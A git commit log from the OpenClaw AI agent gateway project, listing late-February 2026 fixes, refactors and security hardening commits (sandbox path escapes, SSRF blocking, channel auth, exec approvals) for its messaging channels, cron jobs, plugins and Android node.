473a27470f fix(auto-reply): gate inline directives on resolved auth (#27248)
Landed from contributor PR #27248 by @kevinWangSheng.

Co-authored-by: shenghui kevin <shenghuikevin@shenghuideMac-mini.local>
2026-02-26 13:11:39 +00:00
Peter Steinberger
7d8aeaaf06 fix(gateway): pin paired reconnect metadata for node policy 2026-02-26 14:11:04 +01:00
Vincent Koc
cf311978ea fix(plugins): fallback bundled channel specs when npm install returns 404 (#12849)
* plugins: add bundled source resolver

* plugins: add bundled source resolver tests

* cli: fallback npm 404 plugin installs to bundled sources

* plugins: use bundled source resolver during updates

* protocol: regenerate macos gateway swift models

* protocol: regenerate shared swift models

* Revert "protocol: regenerate shared swift models"

This reverts commit 6a2b08c47d.

* Revert "protocol: regenerate macos gateway swift models"

This reverts commit 27c03010c6.
2026-02-26 08:06:54 -05:00
Peter Steinberger
7b5153f214 refactor: dedupe boundary-path canonical checks 2026-02-26 14:04:47 +01:00
Peter Steinberger
b402770f63 refactor(reply): split abort cutoff and timeout policy modules 2026-02-26 14:00:35 +01:00
Harold Hunt
f53e4e9ffb chore: Fix broken build protocol:check 2026-02-26 18:22:38 +05:30
Peter Steinberger
c397a02c9a fix(queue): harden drain/abort/timeout race handling
- reject new lane enqueues once gateway drain begins
- always reset lane draining state and isolate onWait callback failures
- persist per-session abort cutoff and skip stale queued messages
- avoid false 600s agentTurn timeout in isolated cron jobs

Fixes #27407
Fixes #27332
Fixes #27427

Co-authored-by: Kevin Shenghui <shenghuikevin@github.com>
Co-authored-by: zjmy <zhangjunmengyang@gmail.com>
Co-authored-by: suko <miha.sukic@gmail.com>
2026-02-26 13:43:39 +01:00
Peter Steinberger
1aef45bc06 fix: harden boundary-path canonical alias handling 2026-02-26 13:43:29 +01:00
Peter Steinberger
4b71de384c fix(core): unify session-key normalization and plugin boundary checks 2026-02-26 12:41:23 +00:00
Peter Steinberger
e3385a6578 fix(security): harden root file guards and host writes 2026-02-26 13:32:58 +01:00
Peter Steinberger
2ca2d5ab1c docs: add changelog note for sandbox alias fix 2026-02-26 13:30:45 +01:00
Peter Steinberger
4fd29a35bb fix: block broken-symlink sandbox path escapes 2026-02-26 13:30:45 +01:00
Peter Steinberger
8b5ebff67b fix(cron): prevent isolated hook session-key double-prefixing (land #27333, @MaheshBhushan)
Co-authored-by: MaheshBhushan <mkoduri73@gmail.com>
2026-02-26 12:29:10 +00:00
Matt Hulme
f692288301 feat(cron): add --session-key option to cron add/edit CLI commands
Expose the existing CronJob.sessionKey field through the CLI so users
can target cron jobs at specific named sessions without needing an
external shell script + system crontab workaround.

The backend already fully supports sessionKey on cron jobs - this
change wires it to the CLI surface with --session-key on cron add,
and --session-key / --clear-session-key on cron edit.

Closes #27158

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-26 12:28:49 +00:00
Ayaan Zaidi
452a8c9db9 fix: use canonical cron session detection for spawn note 2026-02-26 17:54:27 +05:30
Taras Lukavyi
69590de276 fix: suppress SUBAGENT_SPAWN_ACCEPTED_NOTE for cron isolated sessions
The 'do not poll/sleep' note added to sessions_spawn tool results causes
cron isolated agents to immediately end their turn, since the note tells
them not to wait for subagent results. In cron isolated sessions, the
agent turn IS the entire run, so ending early means subagent results
are never collected.

Fix: detect cron sessions via includes(':cron:') in agentSessionKey
and suppress the note, allowing the agent to poll/wait naturally.

Note: PR #27330 used startsWith('cron:') which never matches because
the session key format is 'agent:main:cron:...' (starts with 'agent:').

Fixes #27308
Fixes #25069
2026-02-26 17:54:27 +05:30
Peter Steinberger
46eba86b45 fix: harden workspace boundary path resolution 2026-02-26 13:19:59 +01:00
Peter Steinberger
ecb2053fdd chore(pr): guard against dropped changelog refs 2026-02-26 13:19:25 +01:00
Peter Steinberger
125dc322f5 refactor(feishu): unify account-aware tool routing and message body 2026-02-26 13:19:25 +01:00
Peter Steinberger
5df9aacf68 fix(podman): default run-openclaw-podman bind to loopback (land #27491, thanks @robbyczgw-cla)
Co-authored-by: robbyczgw-cla <robbyczgw@gmail.com>
2026-02-26 12:13:20 +00:00
Peter Steinberger
a288f3066f fix(gateway): warn on non-loopback bind at startup (land #25397, thanks @let5sne)
Co-authored-by: let5sne <let5sne@users.noreply.github.com>
2026-02-26 12:13:20 +00:00
Peter Steinberger
327f0526d1 fix(gateway): use loopback for CLI status probe when bind=lan (land #26997, thanks @chikko80)
Co-authored-by: Manuel Seitz <seitzmanuel0@gmail.com>
2026-02-26 12:13:20 +00:00
Peter Steinberger
da53015ef5 fix(onboard): seed Control UI origins for non-loopback binds (land #26157, thanks @stakeswky)
Co-authored-by: 不做了睡大觉 <stakeswky@users.noreply.github.com>
2026-02-26 12:13:20 +00:00
Peter Steinberger
a97cec0018 refactor: harden remaining plugin manifest reads 2026-02-26 13:12:44 +01:00
Peter Steinberger
892a9c24b0 refactor(security): centralize channel allowlist auth policy 2026-02-26 13:06:33 +01:00
Peter Steinberger
eac86c2081 refactor: unify boundary hardening for file reads 2026-02-26 13:04:37 +01:00
Peter Steinberger
cf4853e2b8 fix: avoid duplicate feishu permission-error dispatch replies (#27381) (thanks @byungsker) 2026-02-26 12:03:41 +00:00
lbo728
736ec9690f fix(feishu): merge permission error notice into main dispatch instead of separate agent turn
When the sender-name lookup fails with a Feishu permission error (code
99991672), the bot was dispatching two separate agent turns:

  1. A dedicated permission-error notification turn
  2. The regular inbound user message turn

This caused two bot replies for a single user message, degrading UX and
wasting tokens.

Fix: instead of a separate dispatch, append the permission error notice
directly to the main messageBody. The agent receives both the user's
message and the system notice in a single turn, and responds once.

Fixes #27372
2026-02-26 12:03:41 +00:00
Peter Steinberger
d671d7a0a2 fix: preserve feishu message_id in agent-visible body (#27253) (thanks @xss925175263) 2026-02-26 12:02:00 +00:00
xianshishan
6d52b47076 feishu: send message_id in BodyForAgent (fix #27218) 2026-02-26 12:02:00 +00:00
咸士山 0668001391
db6c513d1e feishu: include message_id in agent message body (fix #27218) 2026-02-26 12:02:00 +00:00
Peter Steinberger
6632fd1ea9 refactor(security): extract protected-route path policy helpers 2026-02-26 13:01:22 +01:00
Peter Steinberger
39b5ffdaa6 fix: route feishu doc tools by agent account context (#27338) (thanks @AaronL725) 2026-02-26 12:00:45 +00:00
root
58c100f66f fix(feishu): remove hook registration, fix docx getClient call 2026-02-26 12:00:45 +00:00
root
10d9549764 fix(feishu): fix hook types and docx client call 2026-02-26 12:00:45 +00:00
root
151ee6014a fix(feishu): route doc tools by agent account
Previously feishu_doc always used accounts[0], so multi-account setups created docs under the first bot regardless of the calling agent.

This change resolves accountId via a before_tool_call hook (defaulting from agentAccountId) and selects the Feishu client per call.

Fixes #27321
2026-02-26 12:00:45 +00:00
Peter Steinberger
8bdda7a651 fix(security): keep DM pairing allowlists out of group auth 2026-02-26 12:58:18 +01:00
echoVic
d08dafb08f fix(feishu): bitable tools use listEnabledFeishuAccounts for multi-account mode (#27244)
The bitable tool registration was reading credentials directly from
top-level feishuCfg.appId/appSecret, missing the accounts.* path used
in multi-account mode. Align with drive.ts and wiki.ts by using
listEnabledFeishuAccounts() which handles both legacy and multi-account
configurations.
2026-02-26 11:56:18 +00:00
Peter Steinberger
0ed675b1df fix(security): harden canonical auth matching for plugin channel routes 2026-02-26 12:55:33 +01:00
Peter Steinberger
0231cac957 feat(typing): add TTL safety-net for stuck indicators (land #27428, thanks @Crpdim)
Co-authored-by: Crpdim <crpdim@users.noreply.github.com>
2026-02-26 11:48:50 +00:00
Peter Steinberger
3d30ba18a2 fix(slack): gate member and message subtype system events 2026-02-26 12:48:20 +01:00
Peter Steinberger
da0ba1b73a fix(security): harden channel auth path checks and exec approval routing 2026-02-26 12:46:05 +01:00
Peter Steinberger
b096ad267e fix(telegram): add sendChatAction 401 backoff guard (land #27415, thanks @widingmarcus-cyber)
Co-authored-by: Marcus Widing <widing.marcus@gmail.com>
2026-02-26 11:45:57 +00:00
Peter Steinberger
b74be2577f refactor(web): unify proxy-guarded fetch path for web tools 2026-02-26 12:44:18 +01:00
Peter Steinberger
8bf1c9a23a fix(typing): stop keepalive restarts after run completion (land #27413, thanks @widingmarcus-cyber)
Co-authored-by: Marcus Widing <widing.marcus@gmail.com>
2026-02-26 11:42:38 +00:00
Peter Steinberger
fec3fdf7ef test(msteams): align silent-prefix expectation with exact NO_REPLY semantics 2026-02-26 11:42:38 +00:00
Peter Steinberger
242188b7b1 refactor: unify boundary-safe reads for bootstrap and includes 2026-02-26 12:42:14 +01:00
Peter Steinberger
199ef9f8ea fix(typing): add main-run dispatch idle safety net (land #27250, thanks @Sid-Qin)
Co-authored-by: Sid Qin <s3734389@gmail.com>
2026-02-26 11:36:08 +00:00
Peter Steinberger
46003e85bf fix: unify web tool proxy path (#27430) (thanks @kevinWangSheng) 2026-02-26 11:32:43 +00:00
Kevin Shenghui
d8e2030d47 fix(web-search): honor HTTP_PROXY environment variable for Brave Search API
The web_search tool was not respecting HTTP_PROXY/HTTPS_PROXY environment
variables, causing 'fetch failed' errors when running behind a proxy.

This fix adds ProxyAgent support for the Brave Search API, similar to how
other tools in OpenClaw handle proxy configuration.

Fixes #27405
2026-02-26 11:32:43 +00:00
Peter Steinberger
9925ac6a2d fix(config): harden include file loading path checks 2026-02-26 12:23:31 +01:00
Peter Steinberger
caace61ba1 chore: bump versions to 2026.2.26 2026-02-26 12:11:02 +01:00
Ayaan Zaidi
e7b600e318 chore(acpx): bump package version to 2026.2.25 2026-02-26 16:29:12 +05:30
Ayaan Zaidi
4f869b2b76 docs(changelog): thank @emanuelst for telegram preview fix (#27449) 2026-02-26 16:24:31 +05:30
Ayaan Zaidi
d9ed2c425a fix(telegram): prime final preview before stop flush 2026-02-26 16:24:31 +05:30
Gustavo Madeira Santana
e273b9851e Tests: tighten discord work account type in doctor config flow 2026-02-26 05:38:53 -05:00
Gustavo Madeira Santana
1ffc319831 Doctor: keep allowFrom account-scoped in multi-account configs 2026-02-26 05:34:58 -05:00
Ayaan Zaidi
97fa44dc82 fix: changelog for NO_REPLY streaming fix (#19576) (thanks @aldoeliacim) 2026-02-26 16:04:48 +05:30
Ayaan Zaidi
133f14c0af docs(auto-reply): align silent token comment with regex 2026-02-26 16:04:48 +05:30
Ayaan Zaidi
e64d72299e fix(auto-reply): tighten silent token semantics and prefix streaming 2026-02-26 16:04:48 +05:30
HAL
2f2110a32c fix: tighten isSilentReplyText to match whole-text only
The suffix regex matched NO_REPLY at the end of any response,
suppressing substantive replies when models (e.g. Gemini 3 Pro)
appended NO_REPLY to real content.

Replace prefix+suffix regexes with a single whole-string match.
Only responses that are entirely the silent token (with optional
whitespace) are now suppressed.

Add unit tests for the fix.

Fixes #19537
2026-02-26 16:04:48 +05:30
Onur Solmaz
a7d56e3554 feat: ACP thread-bound agents (#23580)
* docs: add ACP thread-bound agents plan doc

* docs: expand ACP implementation specification

* feat(acp): route ACP sessions through core dispatch and lifecycle cleanup

* feat(acp): add /acp commands and Discord spawn gate

* ACP: add acpx runtime plugin backend

* fix(subagents): defer transient lifecycle errors before announce

* Agents: harden ACP sessions_spawn and tighten spawn guidance

* Agents: require explicit ACP target for runtime spawns

* docs: expand ACP control-plane implementation plan

* ACP: harden metadata seeding and spawn guidance

* ACP: centralize runtime control-plane manager and fail-closed dispatch

* ACP: harden runtime manager and unify spawn helpers

* Commands: route ACP sessions through ACP runtime in agent command

* ACP: require persisted metadata for runtime spawns

* Sessions: preserve ACP metadata when updating entries

* Plugins: harden ACP backend registry across loaders

* ACPX: make availability probe compatible with adapters

* E2E: add manual Discord ACP plain-language smoke script

* ACPX: preserve streamed spacing across Discord delivery

* Docs: add ACP Discord streaming strategy

* ACP: harden Discord stream buffering for thread replies

* ACP: reuse shared block reply pipeline for projector

* ACP: unify streaming config and adopt coalesceIdleMs

* Docs: add temporary ACP production hardening plan

* Docs: trim temporary ACP hardening plan goals

* Docs: gate ACP thread controls by backend capabilities

* ACP: add capability-gated runtime controls and /acp operator commands

* Docs: remove temporary ACP hardening plan

* ACP: fix spawn target validation and close cache cleanup

* ACP: harden runtime dispatch and recovery paths

* ACP: split ACP command/runtime internals and centralize policy

* ACP: harden runtime lifecycle, validation, and observability

* ACP: surface runtime and backend session IDs in thread bindings

* docs: add temp plan for binding-service migration

* ACP: migrate thread binding flows to SessionBindingService

* ACP: address review feedback and preserve prompt wording

* ACPX plugin: pin runtime dependency and prefer bundled CLI

* Discord: complete binding-service migration cleanup and restore ACP plan

* Docs: add standalone ACP agents guide

* ACP: route harness intents to thread-bound ACP sessions

* ACP: fix spawn thread routing and queue-owner stall

* ACP: harden startup reconciliation and command bypass handling

* ACP: fix dispatch bypass type narrowing

* ACP: align runtime metadata to agentSessionId

* ACP: normalize session identifier handling and labels

* ACP: mark thread banner session ids provisional until first reply

* ACP: stabilize session identity mapping and startup reconciliation

* ACP: add resolved session-id notices and cwd in thread intros

* Discord: prefix thread meta notices consistently

* Discord: unify ACP/thread meta notices with gear prefix

* Discord: split thread persona naming from meta formatting

* Extensions: bump acpx plugin dependency to 0.1.9

* Agents: gate ACP prompt guidance behind acp.enabled

* Docs: remove temp experiment plan docs

* Docs: scope streaming plan to holy grail refactor

* Docs: refactor ACP agents guide for human-first flow

* Docs/Skill: add ACP feature-flag guidance and direct acpx telephone-game flow

* Docs/Skill: add OpenCode and Pi to ACP harness lists

* Docs/Skill: align ACP harness list with current acpx registry

* Dev/Test: move ACP plain-language smoke script and mark as keep

* Docs/Skill: reorder ACP harness lists with Pi first

* ACP: split control-plane manager into core/types/utils modules

* Docs: refresh ACP thread-bound agents plan

* ACP: extract dispatch lane and split manager domains

* ACP: centralize binding context and remove reverse deps

* Infra: unify system message formatting

* ACP: centralize error boundaries and session id rendering

* ACP: enforce init concurrency cap and strict meta clear

* Tests: fix ACP dispatch binding mock typing

* Tests: fix Discord thread-binding mock drift and ACP request id

* ACP: gate slash bypass and persist cleared overrides

* ACPX: await pre-abort cancel before runTurn return

* Extension: pin acpx runtime dependency to 0.1.11

* Docs: add pinned acpx install strategy for ACP extension

* Extensions/acpx: enforce strict local pinned startup

* Extensions/acpx: tighten acp-router install guidance

* ACPX: retry runtime test temp-dir cleanup

* Extensions/acpx: require proactive ACPX repair for thread spawns

* Extensions/acpx: require restart offer after acpx reinstall

* extensions/acpx: remove workspace protocol devDependency

* extensions/acpx: bump pinned acpx to 0.1.13

* extensions/acpx: sync lockfile after dependency bump

* ACPX: make runtime spawn Windows-safe

* fix: align doctor-config-flow repair tests with default-account migration (#23580) (thanks @osolmaz)
2026-02-26 11:00:09 +01:00
Gustavo Madeira Santana
a9d9a968ed chore(changelog): move post release entries to unreleased section 2026-02-26 04:59:54 -05:00
Gustavo Madeira Santana
a690b62391 Doctor: ignore slash sessions in transcript integrity check
Merged via deterministic merge flow.

Prepared head SHA: e5cee7a2ec

Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
2026-02-26 04:35:08 -05:00
Ayaan Zaidi
30fd2bbe19 fix(ssrf): honor global family policy for pinned dispatcher 2026-02-26 14:57:15 +05:30
Ayaan Zaidi
0e3ed28950 fix: changelog for telegram group inline callbacks (#27343) (thanks @GodsBoy) 2026-02-26 14:43:11 +05:30
GodsBoy
58fef1d703 fix(telegram): allow inline button callbacks in groups when command was authorized (#27309) 2026-02-26 14:43:11 +05:30
Gustavo Madeira Santana
dfa0b5b4fc Channels: move single-account config into accounts.default (#27334)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 50b5771808
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-26 04:06:03 -05:00
Ayaan Zaidi
da6a96ed33 fix: update changelog for notifications list land (#27344) (thanks @obviyus) 2026-02-26 14:33:14 +05:30
Ayaan Zaidi
a0cf753b2e refactor(agents): dedupe node read invoke commands 2026-02-26 14:33:14 +05:30
Ayaan Zaidi
05817187fe refactor(android): unify notifications.list status flow 2026-02-26 14:33:14 +05:30
Ayaan Zaidi
c0073b3d47 feat(agents): add nodes notifications_list action 2026-02-26 14:33:14 +05:30
Ayaan Zaidi
e6a5d5784c feat(gateway): allow notifications.list for android nodes 2026-02-26 14:33:14 +05:30
Ayaan Zaidi
cf4fe41957 feat(android): add notifications.list node command 2026-02-26 14:33:14 +05:30
Sid
c289b5ff9f fix(config): preserve agent-level apiKey/baseUrl during models.json merge (#27293)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 6b4b37b03d
Co-authored-by: Sid-Qin <201593046+Sid-Qin@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-26 03:46:36 -05:00
yinghaosang
92c309f2e1 docs: fix wrong Providers link in configuration examples 2026-02-26 02:41:07 -06:00
Gustavo Madeira Santana
39d725f4d3 Daemon tests: guard undefined runtime status 2026-02-26 03:24:48 -05:00
Gustavo Madeira Santana
4ebefe647a fix(daemon): keep launchd KeepAlive while preserving restart hardening 2026-02-26 02:52:00 -05:00
Frank Yang
b975711429 fix(daemon): stabilize LaunchAgent restart and proxy env passthrough (#27276)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: b08797a995
Co-authored-by: frankekn <4488090+frankekn@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-26 02:40:48 -05:00
Gustavo Madeira Santana
96c7702526 Agents: add account-scoped bind and routing commands (#27195)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: ad35a458a5
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-26 02:36:56 -05:00
Ayaan Zaidi
c5d040bbea fix: update changelog for android invoke distill (#27257) (thanks @obviyus) 2026-02-26 12:17:32 +05:30
Ayaan Zaidi
ac6539ed03 refactor(android): unify invoke availability gating 2026-02-26 12:17:32 +05:30
Ayaan Zaidi
a87d961ebc fix(android): require gateway device auth store 2026-02-26 12:17:32 +05:30
Ayaan Zaidi
f7865527af fix(android): omit websocket Origin for native gateway connect 2026-02-26 12:17:32 +05:30
Ayaan Zaidi
c3f54fcddd refactor(android): unify invoke error parsing 2026-02-26 12:17:32 +05:30
Ayaan Zaidi
39d362aeff refactor(android): distill invoke dispatcher command flow 2026-02-26 12:17:32 +05:30
Ayaan Zaidi
18fc4c113b refactor(android): centralize invoke command registry 2026-02-26 12:17:32 +05:30
Ayaan Zaidi
d4ae8a8d34 test(android): cover invoke paramsJSON and error mapping 2026-02-26 12:17:32 +05:30
Ayaan Zaidi
8117a13dd6 fix(nodes): default camera snap to front high-quality image 2026-02-26 12:17:32 +05:30
Ayaan Zaidi
bee0c564cf test(android): add GatewaySession invoke roundtrip test 2026-02-26 12:17:32 +05:30
Josh Avant
72adf2458b CI: shard Windows test lane for faster CI critical path (#27234)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: f7c41089e0
Co-authored-by: joshavant <830519+joshavant@users.noreply.github.com>
Co-authored-by: joshavant <830519+joshavant@users.noreply.github.com>
Reviewed-by: @joshavant
2026-02-26 00:33:36 -06:00
Gustavo Madeira Santana
f08fe02a1b Onboarding: support plugin-owned interactive channel flows (#27191)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 53872cf8e7
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-26 01:14:57 -05:00
Gustavo Madeira Santana
39a1c13635 chore(ci): fix cross-platform symlink path assertions in agents file tests 2026-02-26 00:39:18 -05:00
Gustavo Madeira Santana
91a3f0a3fe pairing: enforce strict account-scoped state 2026-02-26 00:31:24 -05:00
Gustavo Madeira Santana
d9b19e5970 plugin-sdk: export shared timezone formatting helpers (#27196) 2026-02-26 00:00:00 -05:00
Gustavo Madeira Santana
cf8d01bc5a pairing: isolate account-scoped allowlist and pending requests 2026-02-25 23:48:43 -05:00
Peter Steinberger
35976da7a0 fix: harden Docker/GCP onboarding flow (#26253) (thanks @pandego) 2026-02-26 04:46:18 +00:00
pandego
e8197404d0 Docker/docs: reduce docker build OOM risk on small GCP hosts 2026-02-26 04:46:18 +00:00
Peter Steinberger
cb3e5c35b0 docs: fix onboarding markdown list spacing 2026-02-26 05:23:30 +01:00
Peter Steinberger
4b5d4a4c66 docs: finalize 2026.2.25 release notes and appcast 2026-02-26 05:15:27 +01:00
Peter Steinberger
04870a5528 test(session): make fork parent path assertion cross-platform 2026-02-26 05:12:51 +01:00
Ayaan Zaidi
7493f11b40 fix(ci): allow legacy patch tags to publish docker latest 2026-02-26 09:38:13 +05:30
Ayaan Zaidi
41314c691d fix(ci): gate docker latest tag to stable release format 2026-02-26 09:38:13 +05:30
Ayaan Zaidi
bf70614943 fix(ci): publish latest tag for stable docker release 2026-02-26 09:38:13 +05:30
Ayaan Zaidi
3b0298562b fix: document telegram group allowlist hardening (#25988) (thanks @bmendonca3) 2026-02-26 09:21:54 +05:30
Ayaan Zaidi
470c606dac refactor(telegram): remove dmPolicy from group allow context helper 2026-02-26 09:21:54 +05:30
bmendonca3
c7352f6b3f security(telegram): fail closed group allowlist against DM pairing store 2026-02-26 09:21:54 +05:30
Peter Steinberger
5500000492 chore(protocol): regenerate Swift gateway models 2026-02-26 04:43:27 +01:00
Peter Steinberger
fdea7415cc docs: reorder unreleased changelog by user impact 2026-02-26 04:39:01 +01:00
Peter Steinberger
e915b4c64a refactor: unify monitor abort lifecycle handling 2026-02-26 04:36:25 +01:00
Peter Steinberger
02c731826a test(discord): fix monitor test typings 2026-02-26 04:35:49 +01:00
Peter Steinberger
e35fe7888b refactor: centralize message-provider tool filtering 2026-02-26 04:22:49 +01:00
Theo Tarr
7af6849c2f Discord: handle early gateway startup errors 2026-02-26 03:22:02 +00:00
Peter Steinberger
9b81a53016 fix: add changelog note for LINE lifecycle fix (#26528) (thanks @Sid-Qin) 2026-02-26 03:20:57 +00:00
SidQin-cyber
243e28df4f fix(line): keep startAccount pending until abort signal to prevent restart loop
monitorLineProvider() registers the webhook HTTP route and returns
immediately.  Because startAccount() directly returned that resolved
promise, the channel supervisor interpreted it as "provider exited"
and triggered auto-restart up to 10 times.

Await a promise gated on ctx.abortSignal so startAccount stays alive
for the full provider lifecycle, matching the contract expected by the
channel supervisor.

Closes #26478

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-02-26 03:20:57 +00:00
Hongwei Ma
f55238e72a chore: remove accidental PR_STATUS.md from repo
This file appears to be a personal agent tracking document that was
accidentally committed to the main repository. It contains internal
PR submission plans and CI status tracking that doesn't belong in
the upstream codebase.
2026-02-26 08:49:00 +05:30
Peter Steinberger
e4d62c21be test: expand voice provider tts regression coverage 2026-02-26 04:15:11 +01:00
Peter Steinberger
f789f880c9 fix(security): harden approval-bound node exec cwd handling 2026-02-26 04:14:11 +01:00
Peter Steinberger
8f8e2b13b4 fix: disable tts tool for voice provider 2026-02-26 04:12:39 +01:00
Peter Steinberger
8a97803474 fix(agents): normalize malformed tool results in adapter (#27007) 2026-02-26 04:11:44 +01:00
Peter Steinberger
b37dc42240 fix(cron): suppress fallback summary after attempted announce delivery 2026-02-26 03:09:14 +00:00
Peter Steinberger
e16e8f5af2 refactor(slack): share system-event ingress and test harness 2026-02-26 04:01:33 +01:00
Peter Steinberger
4ada143794 docs(heartbeat): add directPolicy to config examples 2026-02-26 03:59:38 +01:00
Peter Steinberger
de61e9c977 refactor(security): unify path alias guard policies 2026-02-26 03:59:17 +01:00
Peter Steinberger
8a006a3260 feat(heartbeat): add directPolicy and restore default direct delivery 2026-02-26 03:57:03 +01:00
Harold Hunt
ee594e2fdb fix(telegram): webhook hang - tests and fix (openclaw#26933) thanks @huntharo
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: huntharo <5617868+huntharo@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-25 20:56:53 -06:00
Peter Steinberger
1e7ec8bfd2 fix(routing): preserve explicit cron account and bound message defaults
Co-authored-by: lbo728 <72309817+lbo728@users.noreply.github.com>
Co-authored-by: stakeswky <64798754+stakeswky@users.noreply.github.com>
2026-02-26 02:56:03 +00:00
Peter Steinberger
92eb3dfc9d refactor(security): unify exec approval request matching 2026-02-26 03:54:37 +01:00
Peter Steinberger
75dfb71e4e fix(slack): gate pin/reaction system events by sender auth 2026-02-26 03:48:58 +01:00
Peter Steinberger
61b3246a7f fix(ssrf): unify ipv6 special-use blocking 2026-02-26 03:43:42 +01:00
Peter Steinberger
04d91d0319 fix(security): block workspace hardlink alias escapes 2026-02-26 03:42:54 +01:00
Peter Steinberger
53fcfdf794 fix(telegram): preserve finalized previews on mixed text+voice turns 2026-02-26 03:42:47 +01:00
Peter Steinberger
03e689fc89 fix(security): bind system.run approvals to argv identity 2026-02-26 03:41:31 +01:00
Peter Steinberger
baf656bc6f fix: block IPv6 multicast SSRF bypass 2026-02-26 03:35:10 +01:00
Ayaan Zaidi
260bec5985 fix: add changelog for chat compose mobile layout (#11167) (thanks @junyiz) 2026-02-26 08:03:57 +05:30
Junyi
7b4fe6d9bc style(chat): UI: add mobile layout for chat compose actions
- Stack chat compose row vertically on mobile (max-width: 640px)
- Change action buttons to vertical layout with full width
- Improve mobile UX for send and session control buttons
2026-02-26 08:03:57 +05:30
Peter Steinberger
b786d11fea refactor(telegram): simplify polling restart flow 2026-02-26 03:33:20 +01:00
Peter Steinberger
069bbf9741 fix(slack): land #26878 allowlist channel ID case-insensitive match (thanks @lbo728)
Land contributor PR #26878 from @lbo728; include changelog credit and regression tests.

Co-authored-by: lbo728 <extreme0728@gmail.com>
2026-02-26 02:21:02 +00:00
Ayaan Zaidi
958cafc54f fix: add changelog note for android startup perf (#26659) (thanks @obviyus) 2026-02-26 07:50:09 +05:30
Ayaan Zaidi
410ba918fb fix(android): hydrate gateway token state on init 2026-02-26 07:50:09 +05:30
Ayaan Zaidi
3175640ea2 docs(android): add perf CLI workflow docs 2026-02-26 07:50:09 +05:30
Ayaan Zaidi
b49c2cbdd9 perf(android): tighten startup path and add perf tooling 2026-02-26 07:50:09 +05:30
Ayaan Zaidi
4a07c89816 perf(android): make gateway token writes async 2026-02-26 07:50:09 +05:30
Ayaan Zaidi
8d68199793 perf(android): cache device identity and speed hex encoding 2026-02-26 07:50:09 +05:30
Ayaan Zaidi
00fc1f56f1 perf(android): remove startup bc provider registration 2026-02-26 07:50:09 +05:30
Peter Steinberger
b8bb8ab3ca docs: clarify personal-by-default onboarding security notice 2026-02-26 02:59:34 +01:00
Peter Steinberger
347f7b9550 fix(msteams): bind file consent invokes to conversation 2026-02-26 02:49:50 +01:00
Peter Steinberger
1f004e6640 refactor(tmp): simplify trusted tmp dir state checks 2026-02-26 02:46:53 +01:00
Ramez
acbb93be48 fix(agents): comprehensive quota fallback fixes - session overrides + surgical cooldown logic (#23816)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: e6f2b4742b
Co-authored-by: ramezgaberiel <844893+ramezgaberiel@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-25 20:35:40 -05:00
Peter Steinberger
0cc3e8137c refactor(gateway): centralize trusted-proxy control-ui bypass policy 2026-02-26 02:26:52 +01:00
sten moocow
95c6b3a912 fix(telegram): recover polling after prolonged network outages
When grammY's runner exceeds maxRetryTime during a network outage,
runner.task() resolves cleanly. Previously, the polling loop treated
this as an intentional stop and exited permanently — killing Telegram
polling for the lifetime of the gateway process.

Now the outer loop detects this case and restarts with exponential
backoff, so polling recovers once connectivity is restored.

Also bumps maxRetryTime from 5 minutes to 60 minutes so the runner
itself survives longer outages (e.g. scheduled internet downtime)
without needing the outer loop restart path.
2026-02-26 01:25:02 +00:00
Peter Steinberger
ce8c67c314 fix(slack): gate interactive system events by sender auth 2026-02-26 02:11:50 +01:00
Peter Steinberger
5e1bfb2ce2 docs(changelog): add followup typing fix note (#26881) 2026-02-26 01:07:32 +00:00
Peter Steinberger
8c701ba1ff test(gateway): add hooks bind-host hardening coverage 2026-02-26 00:54:39 +00:00
Peter Steinberger
3cd3d489f4 docs(changelog): note trusted-proxy control-ui hardening 2026-02-26 01:54:32 +01:00
Peter Steinberger
ec45c317f5 fix(gateway): block trusted-proxy control-ui node bypass 2026-02-26 01:54:19 +01:00
codexGW
6fb082e131 fix(typing): call markDispatchIdle in followup runner to prevent stuck indicator (#26881)
The followup runner (used for queued messages, inter-agent sends,
heartbeat followups, etc.) only called typing.markRunComplete() in
its finally block.  The typing controller requires BOTH markRunComplete
AND markDispatchIdle to trigger cleanup — but markDispatchIdle was
only wired through the buffered dispatcher path, which followup turns
bypass entirely.

This caused the typing indicator to persist indefinitely on channels
like Telegram when the agent replied with NO_REPLY or produced empty
payloads, because the keepalive loop was never stopped.

Adds markDispatchIdle() alongside markRunComplete() in the followup
runner's finally block, and four test cases covering NO_REPLY, empty
payloads, agent errors, and successful delivery.

Complements #26295 which addressed the channel-level callback layer.

Fixes #26595

Co-authored-by: Samantha <samantha@Samanthas-Mac-mini.local>
2026-02-26 00:53:38 +00:00
Peter Steinberger
70e31c6f68 fix(gateway): harden hooks URL parsing (#26864) 2026-02-26 00:47:35 +00:00
Aleksandrs Tihenko
c0026274d9 fix(auth): distinguish revoked API keys from transient auth errors (#25754)
